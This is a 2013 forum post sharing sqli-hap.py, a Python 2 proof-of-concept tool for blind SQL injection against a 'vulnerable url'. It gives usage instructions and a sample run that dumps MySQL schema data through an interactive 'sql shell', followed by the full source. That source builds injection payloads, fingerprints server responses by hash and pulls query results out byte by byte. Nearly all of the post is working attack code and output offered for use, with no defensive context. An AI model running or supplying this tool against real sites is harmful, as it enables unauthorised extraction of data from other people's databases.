Active Members Fi8sVrs Posted August 16, 2013 Active Members Report Posted August 16, 2013 This Python proof of concept uses comparative precomputation to perform blind sql injection, but does not automatically determine the context of the vulnerability or extract multiple bytes in a single request at this time. SourceDirect download Usage Basic: Terminallocalhost:~ $ ./sqli-hap.py [url] [column] [table]Video demonstration: http://ascii.io/a/1588Example: ??user@host ~ ??? ./pub-sqli-hap.py http://127.0.0.1/sqli.php\?id\= id users [*] Attacking: http://127.0.0.1/sqli.php?id= [*] Checking for existing session [*] Building precomputation table.. [*] Percent complete: 100.00% -- Time elapsed: 1.35 seconds -- Estimated time left: 0.00 [*] Precomputation table built in 1.379987 seconds. [*] Enter a sql query: sql shell> select group_concat(table_name,0x2e,column_name,0x0a) from information_schema.columns where table_schema='mysql' [*] Percent complete: 100.00% -- Time elapsed: 3.48 seconds -- Estimated time left: 0.00 columns_priv.Host ,columns_priv.Db ,columns_priv.User ,columns_priv.Table_name ,columns_priv.Column_name ,columns_priv.Timestamp ,columns_priv.Column_priv ,db.Host ,db.Db ,db.User ,db.Select_priv ,db.Insert_priv ,db.Update_priv ,db.Delete_priv ,db.Create_priv ,db.Drop_priv ,db.Grant_priv ,db.References_priv ,db.Index_priv ,db.Alter_priv ,db.Create_tmp_table_priv ,db.Lock_tables_priv ,db.Create_view_priv ,db.Show_view_priv ,db.Create_routine_priv ,db.Alter_routine_priv ,db.Execute_priv ,db.Event_priv ,db.Trigger_priv ,event.db ,event.name ,event.body ,event.definer ,event.execute_at ,event.interval_value ,event.interval_field ,event.created ,event.modified ,event.last_executed ,event.starts ,event.ends ,event.status ,event.on_completion ,event.sql_mode ,event.comment ,event.originator ,event.time_zone ,event.character_set_client ,event.collation_connection ,event.db_collation ,event.body_utf8 ,func.name ,func.ret ,func.dl ,func.type ,general_log.event_time ,general_log.user_host ,general_log.thread_id ,general Requests: 389 (3.647493 seconds) Length of retrieved data: 1024 sql shell> exit [*] Good bye#!/usr/bin/python2#!/usr/bin/python2import sysimport urllib2import timefrom binascii import hexlifyimport _mysqlimport md5import pickleimport reimport osimport threadingimport Queueimport readlinereadline.parse_and_bind('tab: complete')readline.parse_and_bind('set editing-mode vi')BOLD = '\033[1m'BLUE = '\033[34m'GREEN = '\033[32m'YELLOW = '\033[33m'RED = '\033[91m'ENDC = '\033[0m'def request(request_url): req = urllib2.Request(request_url) req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko)' \ ' Chrome/24.0.1309.0 Safari/537.17') r = urllib2.urlopen(req) return r.read()def construct_discovery_query(url, column, table, counter): discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)" discovery = discovery % (column, column, table, counter) return url + urllib2.quote(discovery)def construct_injection_query(url, column, table, query, position): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=ascii(substring(compress((%s)) from %s for 1)))" injection = injection % (column, column, table, query, position) return url + urllib2.quote(injection)def get_length(url, column, table, query, ascii_table, counter): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=(length(length(compress((%s))))))" % (column, column, table, query) length_length = url + urllib2.quote(injection) length_length = ascii_table[md5.new(request(length_length)).digest()] counter += 1 length = "" for i in range(1,length_length+1): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" injection = injection % (column, column, table, query, i) request_url = url + urllib2.quote(injection) length += chr(ascii_table[md5.new(request(request_url)).digest()]) counter += 1 return (int(length), counter)def get_query(prompt): while 1: query = raw_input(prompt) if query != "": break return querydef do_query(url, column, table, query, ascii_table, i, q): tmp = construct_injection_query(url, column, table, query, i) q.put(chr(ascii_table[md5.new(request(tmp)).digest()]))def do_table(url, column, table, i, q): tmp = construct_discovery_query(url, column, table, i) q.put(md5.new(request(tmp)).digest())def print_percent(percent, start_time): elapsed_time = time.time() - start_time eta = ((elapsed_time) / percent) * 100 - elapsed_time sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC)) sys.stdout.flush()def do_thread(target, args, counter, length, type_query): if type_query == 0: ascii_table = {} else: query_result = "" if type_query == 0: i = 0 else: i = 1 sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0)) sys.stdout.flush() start_time = time.time() while i < length: threads = {} queues = [] for j in range(0,11): if i < length: queues.append(Queue.Queue()) threads = threading.Thread(target=target, args=args + (i, queues[j])) i += 1 counter += 1 print_percent(100 * float(i) / float(length), start_time) for thread in threads: threads[thread].start() for j, thread in enumerate(sorted(threads.iterkeys())): if type_query == 0: ascii_table[queues[j].get()] = thread else: query_result += queues[j].get() threads[thread].join() sys.stdout.write('\n') sys.stdout.flush() if type_query == 0: return ascii_table else: return (counter, query_result)def main(url, column, table): session_name = re.split("(https?://)?(.*)/", url)[2] print "%s[*]%s Checking for existing session" % (GREEN, ENDC) try: try: os.stat("data") except: os.mkdir("data") ascii_table = pickle.load(open("data/%s" % session_name, "rb" )) print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC) except: print "%s[*]%s Building precomputation table.." % (GREEN, ENDC) current = time.time() ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0) pickle.dump(ascii_table, open("data/%s" % session_name, "wb")) print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC) print "%s[*]%s Enter a sql query:" % (GREEN, ENDC) while 1: query = get_query("%ssql shell>%s " % (BOLD, ENDC)) if query == "exit": break query_result = "" counter = 0 current = time.time() (length, counter) = get_length(url, column, table, query, ascii_table, counter) (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1) query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result) mysql_connection = _mysql.connect('localhost', 'root', 'new-password') mysql_connection.query(query) result = mysql_connection.use_result() data = result.fetch_row()[0][0] mysql_connection.close() print data print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC) print "%s[*]%s Good bye" % (GREEN, ENDC)if __name__=="__main__": if len(sys.argv) != 4: print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0] exit() print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC) main(sys.argv[1], sys.argv[2], sys.argv[3])Source: http://www.blackhatlibrary.net/Sqli-hap.py Quote